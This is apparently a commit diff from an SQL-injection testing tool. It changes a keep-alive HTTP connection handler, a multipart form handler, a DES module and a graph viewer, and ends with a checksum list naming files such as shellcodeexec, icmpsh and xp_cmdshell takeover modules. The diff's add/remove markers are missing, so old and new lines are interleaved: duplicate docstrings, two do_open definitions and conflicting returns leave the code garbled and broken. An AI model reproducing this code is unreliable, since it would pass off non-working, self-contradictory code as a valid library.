>>> opener = urllib2.build_opener(keepalive_handler)
>>> urllib2.install_opener(opener)
>>>
>>> fo = urllib2.urlopen('http://www.python.org')
fo = urllib2.urlopen('http://www.python.org')
If a connection to a given host is requested, and all of the existing
connections are still in use, another connection will be opened. If
the handler tries to use an existing connection but it fails in some
way, it will be closed and removed from the pool.
To remove the handler, simply re-run build_opener with no arguments, and
install that opener.
@@ -37,9 +47,13 @@ use the handler methods:
close_all()
open_connections()
Example:
NOTE: using the close_connection and close_all methods of the handler
should be done with care when using multiple threads.
* there is nothing that prevents another thread from creating new
connections immediately after connections are closed
* no checks are done to prevent in-use connections from being closed
keepalive_handler.close_all()
>>> keepalive_handler.close_all()
EXTRA ATTRIBUTES AND METHODS
@@ -55,162 +69,307 @@ EXTRA ATTRIBUTES AND METHODS
If you want the best of both worlds, use this inside an
AttributeError-catching try:
try: status = fo.status
except AttributeError: status = None
>>> try: status = fo.status
>>> except AttributeError: status = None
Unfortunately, these are ONLY there if status == 200, so it's not
easy to distinguish between non-200 responses. The reason is that
urllib2 tries to do clever things with error codes 301, 302, 401,
and 407, and it wraps the object upon return.
You can optionally set the module-level global HANDLE_ERRORS to 0,
in which case the handler will always return the object directly.
If you like the fancy handling of errors, don't do this. If you
prefer to see your error codes, then do.
For python versions earlier than 2.4, you can avoid this fancy error
handling by setting the module-level global HANDLE_ERRORS to zero.
You see, prior to 2.4, it's the HTTP Handler's job to determine what
to handle specially, and what to just pass up. HANDLE_ERRORS == 0
means "pass everything up". In python 2.4, however, this job no
longer belongs to the HTTP Handler and is now done by a NEW handler,
HTTPErrorProcessor. Here's the bottom line:
python version < 2.4
HANDLE_ERRORS == 1 (default) pass up 200, treat the rest as
errors
HANDLE_ERRORS == 0 pass everything up, error processing is
left to the calling code
python version >= 2.4
HANDLE_ERRORS == 1 pass up 200, treat the rest as errors
HANDLE_ERRORS == 0 (default) pass everything up, let the
other handlers (specifically,
HTTPErrorProcessor) decide what to do
In practice, setting the variable either way makes little difference
in python 2.4, so for the most consistent behavior across versions,
you probably just want to use the defaults, which will give you
exceptions on errors.
"""
from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader
from lib.core.convert import unicodeencode
from lib.core.data import kb
# $Id: keepalive.py,v 1.17 2006/12/08 00:14:16 mstenner Exp $
import threading
import urllib2
import httplib
import socket
import thread
VERSION = (0, 1)
#STRING_VERSION = '.'.join(map(str, VERSION))
DEBUG = 0
HANDLE_ERRORS = 1
DEBUG = None
class HTTPHandler(urllib2.HTTPHandler):
import sys
if sys.version_info < (2, 4): HANDLE_ERRORS = 1
else: HANDLE_ERRORS = 0
class ConnectionManager:
"""
The connection manager must be able to:
* keep track of all existing
"""
def __init__(self):
self._connections = {}
self._lock = thread.allocate_lock()
self._hostmap = {} # map hosts to a list of connections
self._connmap = {} # map connections to host
self._readymap = {} # map connection to ready state
def add(self, host, connection, ready):
self._lock.acquire()
try:
if not self._hostmap.has_key(host): self._hostmap[host] = []
self._hostmap[host].append(connection)
self._connmap[connection] = host
self._readymap[connection] = ready
finally:
self._lock.release()
def remove(self, connection):
self._lock.acquire()
try:
try:
host = self._connmap[connection]
except KeyError:
pass
else:
del self._connmap[connection]
del self._readymap[connection]
self._hostmap[host].remove(connection)
if not self._hostmap[host]: del self._hostmap[host]
finally:
self._lock.release()
def set_ready(self, connection, ready):
try: self._readymap[connection] = ready
except KeyError: pass
def get_ready_conn(self, host):
conn = None
self._lock.acquire()
try:
if self._hostmap.has_key(host):
for c in self._hostmap[host]:
if self._readymap[c]:
self._readymap[c] = 0
conn = c
break
finally:
self._lock.release()
return conn
def get_all(self, host=None):
if host:
return list(self._hostmap.get(host, []))
else:
return dict(self._hostmap)
class KeepAliveHandler:
def __init__(self):
self._cm = ConnectionManager()
#### Connection Management
def open_connections(self):
"""return a list of connected hosts and the number of connections
to each. [('foo.com:80', 2), ('bar.org', 1)]"""
return [(host, len(li)) for (host, li) in self._cm.get_all().items()]
def close_connection(self, host):
"""close connection to <host>
"""close connection(s) to <host>
host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
no error occurs if there is no connection to that host."""
self._remove_connection(host, close=1)
def open_connections(self):
"""return a list of connected hosts"""
retVal = []
currentThread = threading.currentThread()
for name, host in self._connections.keys():
if name == currentThread.getName():
retVal.append(host)
return retVal
for h in self._cm.get_all(host):
self._cm.remove(h)
h.close()
def close_all(self):
"""close all open connections"""
for _, conn in self._connections.items():
conn.close()
self._connections = {}
for host, conns in self._cm.get_all().items():
for h in conns:
self._cm.remove(h)
h.close()
def _remove_connection(self, host, close=0):
key = self._get_connection_key(host)
if self._connections.has_key(key):
if close: self._connections[key].close()
del self._connections[key]
def _request_closed(self, request, host, connection):
"""tells us that this request is now closed and the the
connection is ready for another request"""
self._cm.set_ready(connection, 1)
def _get_connection_key(self, host):
return (threading.currentThread().getName(), host)
def _remove_connection(self, host, connection, close=0):
if close: connection.close()
self._cm.remove(connection)
def _start_connection(self, h, req):
h.clearheaders()
try:
if req.has_data():
data = req.get_data()
h.putrequest('POST', req.get_selector())
if not req.headers.has_key('Content-type'):
req.headers['Content-type'] = 'application/x-www-form-urlencoded'
if not req.headers.has_key('Content-length'):
req.headers['Content-length'] = '%d' % len(data)
else:
h.putrequest(req.get_method() or 'GET', req.get_selector())
if not req.headers.has_key('Connection'):
req.headers['Connection'] = 'keep-alive'
for args in self.parent.addheaders:
h.putheader(*args)
for k, v in req.headers.items():
h.putheader(k, v)
h.endheaders()
if req.has_data():
h.send(data)
except socket.error, err:
h.close()
raise urllib2.URLError(err)
def do_open(self, http_class, req):
h = None
host = req.get_host()
#### Transaction Execution
def do_open(self, req):
host = req.host
if not host:
raise urllib2.URLError('no host given')
try:
need_new_connection = 1
key = self._get_connection_key(host)
h = self._connections.get(key)
if not h is None:
try:
self._start_connection(h, req)
except:
r = None
else:
try: r = h.getresponse()
except httplib.ResponseNotReady, e: r = None
except httplib.BadStatusLine, e: r = None
h = self._cm.get_ready_conn(host)
while h:
r = self._reuse_connection(h, req, host)
if r is None or r.version == 9:
# httplib falls back to assuming HTTP 0.9 if it gets a
# bad header back. This is most likely to happen if
# the socket has been closed by the server since we
# last used the connection.
if DEBUG: print "failed to re-use connection to %s" % host
h.close()
else:
if DEBUG: print "re-using connection to %s" % host
need_new_connection = 0
if need_new_connection:
if DEBUG: print "creating new connection to %s" % host
h = http_class(host)
self._connections[key] = h
self._start_connection(h, req)
# if this response is non-None, then it worked and we're
# done. Break out, skipping the else block.
if r: break
# connection is bad - possibly closed by server
# discard it and ask for the next free connection
h.close()
self._cm.remove(h)
h = self._cm.get_ready_conn(host)
else:
# no (working) free connections were found. Create a new one.
h = self._get_connection(host)
if DEBUG: DEBUG.info("creating new connection to %s (%d)",
host, id(h))
self._cm.add(host, h, 0)
self._start_transaction(h, req)
r = h.getresponse()
except socket.error, err:
if h: h.close()
except (socket.error, httplib.HTTPException), err:
raise urllib2.URLError(err)
if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason)
# if not a persistent connection, don't try to reuse it
if r.will_close: self._remove_connection(host)
if r.will_close:
if DEBUG: DEBUG.info('server will close connection, discarding')
self._cm.remove(h)
if DEBUG:
print "STATUS: %s, %s" % (r.status, r.reason)
r._handler = self
r._host = host
r._url = req.get_full_url()
r._connection = h
r.code = r.status
r.headers = r.msg
r.msg = r.reason
#if r.status == 200 or not HANDLE_ERRORS:
#return r
if r.status == 200 or not HANDLE_ERRORS:
# [speedplane] Must return an adinfourl object
resp = urllib2.addinfourl(r, r.msg, req.get_full_url())
resp.code = r.status
resp.msg = r.reason
return resp;
return r
else:
r.code = r.status
return self.parent.error('http', req, r, r.status, r.reason, r.msg)
return self.parent.error('http', req, r,
r.status, r.msg, r.headers)
def _reuse_connection(self, h, req, host):
"""start the transaction with a re-used connection
return a response object (r) upon success or None on failure.
This DOES not close or remove bad connections in cases where
it returns. However, if an unexpected exception occurs, it
will close and remove the connection before re-raising.
"""
try:
self._start_transaction(h, req)
r = h.getresponse()
# note: just because we got something back doesn't mean it
# worked. We'll check the version below, too.
except (socket.error, httplib.HTTPException):
r = None
except:
# adding this block just in case we've missed
# something we will still raise the exception, but
# lets try and close the connection and remove it
# first. We previously got into a nasty loop
# where an exception was uncaught, and so the
# connection stayed open. On the next try, the
# same exception was raised, etc. The tradeoff is
# that it's now possible this call will raise
# a DIFFERENT exception
if DEBUG: DEBUG.error("unexpected exception - closing " + \
"connection to %s (%d)", host, id(h))
self._cm.remove(h)
h.close()
raise
if r is None or r.version == 9:
# httplib falls back to assuming HTTP 0.9 if it gets a
# bad header back. This is most likely to happen if
# the socket has been closed by the server since we
# last used the connection.
if DEBUG: DEBUG.info("failed to re-use connection to %s (%d)",
host, id(h))
r = None
else:
if DEBUG: DEBUG.info("re-using connection to %s (%d)", host, id(h))
return r
def _start_transaction(self, h, req):
try:
if req.has_data():
data = req.data
if hasattr(req, 'selector'):
h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
else:
h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
if not req.headers.has_key('Content-type'):
h.putheader('Content-type',
'application/x-www-form-urlencoded')
if not req.headers.has_key('Content-length'):
h.putheader('Content-length', '%d' % len(data))
else:
if hasattr(req, 'selector'):
h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
else:
h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
except (socket.error, httplib.HTTPException), err:
raise urllib2.URLError(err)
if not req.headers.has_key('Connection'):
req.headers['Connection'] = 'keep-alive'
for args in self.parent.addheaders:
if not req.headers.has_key(args[0]):
h.putheader(*args)
for k, v in req.headers.items():
h.putheader(k, v)
h.endheaders()
if req.has_data():
h.send(data)
def _get_connection(self, host):
return NotImplementedError
class HTTPHandler(KeepAliveHandler, urllib2.HTTPHandler):
def __init__(self):
KeepAliveHandler.__init__(self)
def http_open(self, req):
return self.do_open(HTTPConnection, req)
return self.do_open(req)
def _get_connection(self, host):
return HTTPConnection(host)
class HTTPSHandler(KeepAliveHandler, urllib2.HTTPSHandler):
def __init__(self, ssl_factory=None):
KeepAliveHandler.__init__(self)
if not ssl_factory:
try:
import sslfactory
ssl_factory = sslfactory.get_factory()
except ImportError:
pass
self._ssl_factory = ssl_factory
def https_open(self, req):
return self.do_open(req)
def _get_connection(self, host):
try: return self._ssl_factory.get_https_connection(host)
except AttributeError: return HTTPSConnection(host)
class HTTPResponse(httplib.HTTPResponse):
# we need to subclass HTTPResponse in order to
# 1) add readline() and readlines() methods
# 2) add close_connection() methods
@@ -236,21 +395,31 @@ class HTTPResponse(httplib.HTTPResponse):
else: # 2.2 doesn't
httplib.HTTPResponse.__init__(self, sock, debuglevel)
self.fileno = sock.fileno
self.code = None
self._method = method
self._rbuf = ''
self._rbuf = b""
self._rbufsize = 8096
self._handler = None # inserted by the handler later
self._host = None # (same)
self._url = None # (same)
self._connection = None # (same)
_raw_read = httplib.HTTPResponse.read
def close(self):
if self.fp:
self.fp.close()
self.fp = None
if self._handler:
self._handler._request_closed(self, self._host,
self._connection)
def close_connection(self):
self._handler._remove_connection(self._host, self._connection, close=1)
self.close()
self._handler._remove_connection(self._host, close=1)
def info(self):
return self.msg
return self.headers
def geturl(self):
return self._url
@@ -268,11 +437,11 @@ class HTTPResponse(httplib.HTTPResponse):
return s
s = self._rbuf + self._raw_read(amt)
self._rbuf = ''
self._rbuf = b""
return s
def readline(self, limit=-1):
data = ""
data = b""
i = self._rbuf.find('\n')
while i < 0 and not (0 < limit <= len(self._rbuf)):
new = self._raw_read(self._rbufsize)
@@ -302,43 +471,9 @@ class HTTPResponse(httplib.HTTPResponse):
class HTTPConnection(httplib.HTTPConnection):
# use the modified response class
response_class = HTTPResponse
_headers = None
def clearheaders(self):
self._headers = {}
def putheader(self, header, value):
"""Send a request header line to the server.
For example: h.putheader('Accept', 'text/html')
"""
if self.__state != _CS_REQ_STARTED:
raise CannotSendHeader()
self._headers[header] = value
def endheaders(self):
"""Indicate that the last header line has been sent to the server."""
if self.__state == _CS_REQ_STARTED:
self.__state = _CS_REQ_SENT
else:
raise CannotSendHeader()
for header in ('Host', 'Accept-Encoding'):
if header in self._headers:
str = '%s: %s' % (header, self._headers[header])
self._output(str)
del self._headers[header]
for header, value in self._headers.items():
str = '%s: %s' % (header, value)
self._output(str)
self._send_output()
def send(self, str):
httplib.HTTPConnection.send(self, unicodeencode(str, kb.pageEncoding))
class HTTPSConnection(httplib.HTTPSConnection):
response_class = HTTPResponse
#########################################################################
##### TEST FUNCTIONS
@@ -367,7 +502,7 @@ def error_handler(url):
print " status = %s, reason = %s" % (status, reason)
HANDLE_ERRORS = orig
hosts = keepalive_handler.open_connections()
print "open connections:", ' '.join(hosts)
print "open connections:", hosts
keepalive_handler.close_all()
def continuity(url):
@@ -422,9 +557,10 @@ def comp(N, url):
print ' improvement factor: %.2f' % (t1/t2, )
def fetch(N, url, delay=0):
import time
lens = []
starttime = time.time()
for i in xrange(N):
for i in range(N):
if delay and i > 0: time.sleep(delay)
fo = urllib2.urlopen(url)
foo = fo.read()
@@ -440,6 +576,40 @@ def fetch(N, url, delay=0):
return diff
def test_timeout(url):
global DEBUG
dbbackup = DEBUG
class FakeLogger:
def debug(self, msg, *args): print msg % args
info = warning = error = debug
DEBUG = FakeLogger()
print " fetching the file to establish a connection"
fo = urllib2.urlopen(url)
data1 = fo.read()
fo.close()
i = 20
print " waiting %i seconds for the server to close the connection" % i
while i > 0:
sys.stdout.write('\r %2i' % i)
sys.stdout.flush()
time.sleep(1)
i -= 1
sys.stderr.write('\r')
print " fetching the file a second time"
fo = urllib2.urlopen(url)
data2 = fo.read()
fo.close()
if data1 == data2:
print ' data are identical'
else:
print ' ERROR: DATA DIFFER'
DEBUG = dbbackup
def test(url, N=10):
print "checking error hander (do this on a non-200)"
try: error_handler(url)
@@ -452,6 +622,9 @@ def test(url, N=10):
print
print "performing speed comparison"
comp(N, url)
print
print "performing dropped-connection check"
test_timeout(url)
if __name__ == '__main__':
import time
+19 -19
View File
@@ -47,13 +47,13 @@ class MultipartPostHandler(urllib2.BaseHandler):
def http_request(self, request):
data = request.get_data()
if data is not None and type(data) != str:
if isinstance(data, dict):
v_files = []
v_vars = []
try:
for(key, value) in data.items():
if isinstance(value, file) or hasattr(value, 'file') or isinstance(value, StringIO.StringIO):
if isinstance(value, file) or hasattr(value, "file") or isinstance(value, StringIO.StringIO):
v_files.append((key, value))
else:
v_vars.append((key, value))
@@ -65,10 +65,10 @@ class MultipartPostHandler(urllib2.BaseHandler):
data = urllib.urlencode(v_vars, doseq)
else:
boundary, data = self.multipart_encode(v_vars, v_files)
contenttype = 'multipart/form-data; boundary=%s' % boundary
#if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0):
# print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data')
request.add_unredirected_header('Content-Type', contenttype)
contenttype = "multipart/form-data; boundary=%s" % boundary
#if (request.has_header("Content-Type") and request.get_header("Content-Type").find("multipart/form-data") != 0):
# print "Replacing %s with %s" % (request.get_header("content-type"), "multipart/form-data")
request.add_unredirected_header("Content-Type", contenttype)
request.add_data(data)
return request
@@ -78,32 +78,32 @@ class MultipartPostHandler(urllib2.BaseHandler):
boundary = mimetools.choose_boundary()
if buf is None:
buf = ''
buf = ""
for (key, value) in vars:
if key is not None and value is not None:
buf += '--%s\r\n' % boundary
buf += 'Content-Disposition: form-data; name="%s"' % key
buf += '\r\n\r\n' + value + '\r\n'
buf += "--%s\r\n" % boundary
buf += "Content-Disposition: form-data; name=\"%s\"" % key
buf += "\r\n\r\n" + value + "\r\n"
for (key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len
filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1]
filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1]
try:
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
contenttype = mimetypes.guess_type(filename)[0] or "application/octet-stream"
except:
# Reference: http://bugs.python.org/issue9291
contenttype = 'application/octet-stream'
buf += '--%s\r\n' % boundary
buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
buf += 'Content-Type: %s\r\n' % contenttype
# buf += 'Content-Length: %s\r\n' % file_size
contenttype = "application/octet-stream"
buf += "--%s\r\n" % boundary
buf += "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (key, filename)
buf += "Content-Type: %s\r\n" % contenttype
# buf += "Content-Length: %s\r\n" % file_size
fd.seek(0)
buf = str(buf) if not isinstance(buf, unicode) else buf.encode("utf8")
buf += '\r\n%s\r\n' % fd.read()
buf += "\r\n%s\r\n" % fd.read()
buf += '--%s--\r\n\r\n' % boundary
buf += "--%s--\r\n\r\n" % boundary
return boundary, buf
+6 -6
View File
@@ -59,7 +59,7 @@ pad -> Optional argument. Only when using padmode of PAD_NORMAL. For
bytes of the unencrypted data block.
padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
or PAD_PKCS5). Defaults to PAD_NORMAL.
Example
-------
@@ -153,7 +153,7 @@ class _baseDes(object):
def getPadMode(self):
"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
return self._padmode
def setPadMode(self, mode):
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
self._padmode = mode
@@ -188,7 +188,7 @@ class _baseDes(object):
if not pad:
raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
data += (self.block_size - (len(data) % self.block_size)) * pad
elif padmode == PAD_PKCS5:
pad_len = 8 - (len(data) % self.block_size)
if _pythonMajorVersion < 3:
@@ -454,7 +454,7 @@ class des(_baseDes):
def __permutate(self, table, block):
"""Permutate this block with the specified table"""
return list(map(lambda x: block[x], table))
# Transform the secret key, so that it is ready for data processing
# Create the 16 subkeys, K[1] - K[16]
def __create_sub_keys(self):
@@ -554,7 +554,7 @@ class des(_baseDes):
i += 1
iteration += iteration_adjustment
# Final permutation of R[16]L[16]
self.final = self.__permutate(des.__fp, self.R + self.L)
return self.final
@@ -597,7 +597,7 @@ class des(_baseDes):
# result.append(dict[data[i:i+8]])
# i += 8
# continue
block = self.__String_to_BitList(data[i:i+8])
# Xor with IV if using CBC mode
+11 -11
View File
@@ -522,7 +522,7 @@ class XDotAttrParser:
self.parser = parser
self.buf = buf
self.pos = 0
self.pen = Pen()
self.shapes = []
@@ -616,7 +616,7 @@ class XDotAttrParser:
b = b*s
a = 1.0
return r, g, b, a
sys.stderr.write("warning: unknown color '%s'\n" % c)
return None
@@ -691,7 +691,7 @@ class XDotAttrParser:
sys.exit(1)
return self.shapes
def transform(self, x, y):
return self.parser.transform(x, y)
@@ -763,7 +763,7 @@ class ParseError(Exception):
def __str__(self):
return ':'.join([str(part) for part in (self.filename, self.line, self.col, self.msg) if part != None])
class Scanner:
"""Stateless scanner."""
@@ -1007,7 +1007,7 @@ class DotLexer(Lexer):
text = text.replace('\\\r\n', '')
text = text.replace('\\\r', '')
text = text.replace('\\\n', '')
# quotes
text = text.replace('\\"', '"')
@@ -1151,7 +1151,7 @@ class XDotParser(DotParser):
def __init__(self, xdotcode):
lexer = DotLexer(buf = xdotcode)
DotParser.__init__(self, lexer)
self.nodes = []
self.edges = []
self.shapes = []
@@ -1188,7 +1188,7 @@ class XDotParser(DotParser):
self.height = max(ymax - ymin, 1)
self.top_graph = False
for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
if attr in attrs:
parser = XDotAttrParser(self, attrs[attr])
@@ -1219,7 +1219,7 @@ class XDotParser(DotParser):
pos = attrs['pos']
except KeyError:
return
points = self.parse_edge_pos(pos)
shapes = []
for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
@@ -1987,7 +1987,7 @@ class DotWindow(gtk.Window):
if not entry_text:
dot_widget.set_highlight(None)
return
found_items = self.find_text(entry_text)
dot_widget.set_highlight(found_items)
@@ -1997,7 +1997,7 @@ class DotWindow(gtk.Window):
if not entry_text:
dot_widget.set_highlight(None)
return;
found_items = self.find_text(entry_text)
dot_widget.set_highlight(found_items)
if(len(found_items) == 1):
@@ -2015,7 +2015,7 @@ class DotWindow(gtk.Window):
if self.widget.set_xdotcode(xdotcode):
self.update_title(filename)
self.widget.zoom_to_fit()
def update_title(self, filename=None):
if filename is None:
self.set_title(self.base_title)
+457
View File
@@ -0,0 +1,457 @@
c981335b0035fe8d5667d1c952e641e4 extra/beep/beep.py
cc9c82cfffd8ee9b25ba3af6284f057e extra/beep/__init__.py
002e2688fe38d03dd6d64a4c2acbee9f extra/cloak/cloak.py
cc9c82cfffd8ee9b25ba3af6284f057e extra/cloak/__init__.py
4d986b77ce6f616eb904e0920ae60890 extra/dbgtool/dbgtool.py
cc9c82cfffd8ee9b25ba3af6284f057e extra/dbgtool/__init__.py
acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_
2176d964f2d5ba2d871383d6a1868b8f extra/icmpsh/icmpsh_m.py
2d020d2bdcee1170805f48839fdb89df extra/icmpsh/__init__.py
cc9c82cfffd8ee9b25ba3af6284f057e extra/__init__.py
2237d0568236c354b0436d2cd9434f97 extra/mssqlsig/update.py
cc9c82cfffd8ee9b25ba3af6284f057e extra/safe2bin/__init__.py
a54bde99fd05fdb412cba5a8780f3e18 extra/safe2bin/safe2bin.py
d229479d02d21b29f209143cb0547780 extra/shellcodeexec/linux/shellcodeexec.x32_
2fe2f94eebc62f7614f0391a8a90104f extra/shellcodeexec/linux/shellcodeexec.x64_
c55b400b72acc43e0e59c87dd8bb8d75 extra/shellcodeexec/windows/shellcodeexec.x32.exe_
b46521e29ea3d813bab5aeb16cac6498 extra/shutils/duplicates.py
4bf52b3fd5e906b9bbe104dda769f5c5 extra/shutils/pylint.py
05615626222060120450518136b14ba9 extra/shutils/regressiontest.py
cc9c82cfffd8ee9b25ba3af6284f057e extra/sqlharvest/__init__.py
4f2f817596540d82f9fcc0c5b2228beb extra/sqlharvest/sqlharvest.py
2daa39e4d59526acb4772b6c47eb315f lib/controller/action.py
66cddf7f40c002d663d4401a440ec1aa lib/controller/checks.py
242eb9edf447e09fa3f5d154495308e6 lib/controller/controller.py
0a64305c3b3a01a2fc3a5e6204f442f1 lib/controller/handler.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/controller/__init__.py
04f16204c899438dc7599a9a8426bfee lib/core/agent.py
eb0bd28b0bd9fbf67dcc3119116df377 lib/core/bigarray.py
b1e2ccdeea8bf12feb839d403dc05796 lib/core/common.py
5680d0c446a3bed5c0f2a0402d031557 lib/core/convert.py
e77cca1cb063016f71f6e6bdebf4ec73 lib/core/data.py
1d042f0bc0557d3fd564ea5a46deb77e lib/core/datatype.py
e4ca0fd47f20cf7ba6a5f5cbf980073c lib/core/decorators.py
67f206cf2658145992cc1d7020138325 lib/core/defaults.py
439cae0904cf3db20d1bc81d56980a21 lib/core/dicts.py
1f98d3f57ce21d625fd67adb26cfd13c lib/core/dump.py
1128705f593013359497b3959078b650 lib/core/enums.py
e4aec2b11c1ad6039d0c3dbbfbc5eb1a lib/core/exception.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/core/__init__.py
91c514013daa796e2cdd940389354eac lib/core/log.py
5b079749c50240602ea92637e268ed31 lib/core/optiondict.py
16d9e1100189966d8a2224d23fcd2ca2 lib/core/option.py
1e8948dddbd12def5c2af52530738059 lib/core/profiling.py
e60456db5380840a586654344003d4e6 lib/core/readlineng.py
5ef56abb8671c2ca6ceecb208258e360 lib/core/replication.py
99a2b496b9d5b546b335653ca801153f lib/core/revision.py
7c15dd2777af4dac2c89cab6df17462e lib/core/session.py
1d029b393fe525c9ad1ecac20b064ca5 lib/core/settings.py
7af83e4f18cab6dff5e67840eb65be80 lib/core/shell.py
23657cd7d924e3c6d225719865855827 lib/core/subprocessng.py
c3ace7874a536d801f308cf1fd03df99 lib/core/target.py
d43f059747ffd48952922c94152e2a07 lib/core/testing.py
2cafee22d9f8018e7efff0a5e3178596 lib/core/threads.py
53c15b78e0288274f52410db25406432 lib/core/unescaper.py
6bdc53e2ca152ff8cd35ad671e48a96b lib/core/update.py
8485a3cd94c0a5af2718bad60c5f1ae5 lib/core/wordlist.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/__init__.py
c1288bc4ce5651dbdd82d4a9435fdc03 lib/parse/banner.py
bc8a27a451d988398d7e25a786b2c8a2 lib/parse/cmdline.py
8ec4d4f02634834701f8258726f2e511 lib/parse/configfile.py
fe4e2152292587928edb94c9a4d311ff lib/parse/handler.py
8e6bfb13e5a34b2610f3ff23467a34cf lib/parse/headers.py
cfa7b4c52915e1d7d59409ed49f0e623 lib/parse/html.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/parse/__init__.py
af6b8e1c6eb074b56bbd9cd80aebcd97 lib/parse/payloads.py
b40a4c5d91770d347df36d3065b63798 lib/parse/sitemap.py
9299f21804033f099681525bb9bf51c0 lib/request/basicauthhandler.py
083e7f446909b12009e72ae8e5e5737c lib/request/basic.py
c48285682a61d49982cb508351013cb4 lib/request/comparison.py
3b35467cd761ed53dfb35a85d8d6590d lib/request/connect.py
49b4c583af68689de5f9acb162de2939 lib/request/direct.py
1a46f7bb26b23ec0c0d9d9c95828241b lib/request/dns.py
70ceefe39980611494d4f99afb96f652 lib/request/httpshandler.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/request/__init__.py
aa155f8b27d56485d3ff15efa5e1b07a lib/request/inject.py
3fc323d525beddd14cd4d4dca4934fa8 lib/request/methodrequest.py
585a6705cfac79f795b835affb80c901 lib/request/pkihandler.py
b2ffd261947994f4a4af555d468b4970 lib/request/rangehandler.py
53eede2efbfabc7315ea99756a03f49d lib/request/redirecthandler.py
4d838b086f128a94a91aa293ca1e0719 lib/request/templates.py
937b7e276f25ccac5a2ac0bf9b1ef434 lib/takeover/abstraction.py
3ecf028d8d93025d2a12c6f6fc13adb2 lib/takeover/icmpsh.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/takeover/__init__.py
2d39688ec1b871005b520b6f1ed97ba6 lib/takeover/metasploit.py
7083825564c051a7265cfdd1a5e6629c lib/takeover/registry.py
7d6cd7bdfc8f4bc4e8aed60c84cdf87f lib/takeover/udf.py
d9bdcc17091374c53ad2eea7fd72a909 lib/takeover/web.py
9af83a62de360184f1c14e69b8a95cfe lib/takeover/xp_cmdshell.py
27d41f38de7348600309e1cb6741fb2e lib/techniques/blind/inference.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/blind/__init__.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/brute/__init__.py
d36effffe64e63ef9b3be490f850e2cc lib/techniques/brute/use.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/dns/__init__.py
b658a1df33fd967c0b6d82911383abda lib/techniques/dns/test.py
4033bdb9e6973ee814fb68d3cf9e710c lib/techniques/dns/use.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/error/__init__.py
4a1fb475f4a193e2cac48c8c038f5677 lib/techniques/error/use.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/__init__.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/union/__init__.py
f5d6884cdeed28281187c111d3e49e3b lib/techniques/union/test.py
12ce1bb7ee5f1f23f58be12fe9fa8472 lib/techniques/union/use.py
26c1babc6289fac9056f8b21d10f3bb1 lib/utils/api.py
8cdc8c1e663c3b92a756fb7b02cc3c02 lib/utils/crawler.py
e30011943692aa2fe7c1185974112bc0 lib/utils/deps.py
4dfd3a95e73e806f62372d63bc82511f lib/utils/getch.py
b1e83fc549334fae8f60552dcdad28cb lib/utils/hashdb.py
0330607242d4f704ae6d7bba5f52ccae lib/utils/hash.py
a3e885f7d4c6ff05db1156244bb84158 lib/utils/htmlentities.py
cc9c82cfffd8ee9b25ba3af6284f057e lib/utils/__init__.py
f0bd8f810332027a5c2c60bd17455f90 lib/utils/pivotdumptable.py
da08a0b58c08ff452c7d1da4857d6680 lib/utils/progress.py
4c8895fb543aa5ae81f2d066422613f0 lib/utils/purge.py
cc9b0f68dd58a2576a5a454b7f5f6b9c lib/utils/search.py
4a0374ac0bc9d726446f04c77fbb5697 lib/utils/sqlalchemy.py
8013e4a4c62ad916452434ea3c352a7a lib/utils/timeout.py
e6fa0e76367a77015da113811dfd9712 lib/utils/versioncheck.py
adafdb28095ba2d03322fee2aae4548f lib/utils/xrange.py
988100b4a1cd3b07acfd8b6ec692aed5 plugins/dbms/access/connector.py
27a5ae5611836b073dd53b21435f0979 plugins/dbms/access/enumeration.py
438090ab8ca63d9c23831a5ffbef74d9 plugins/dbms/access/filesystem.py
ec6e8a706c3e281677de4a21f0b68d6e plugins/dbms/access/fingerprint.py
7e54993a1a8340425eb9e6d1396596de plugins/dbms/access/__init__.py
994fc6a93632219d76831aad415742de plugins/dbms/access/syntax.py
495e835bea7703ae343179e3df838b86 plugins/dbms/access/takeover.py
393da1c45d0b1ecf67bfa5ae9a490f3f plugins/dbms/db2/connector.py
90271f2422c4374edfb7936151a440a4 plugins/dbms/db2/enumeration.py
e8f0f28da98020dce27970a50e10a23b plugins/dbms/db2/filesystem.py
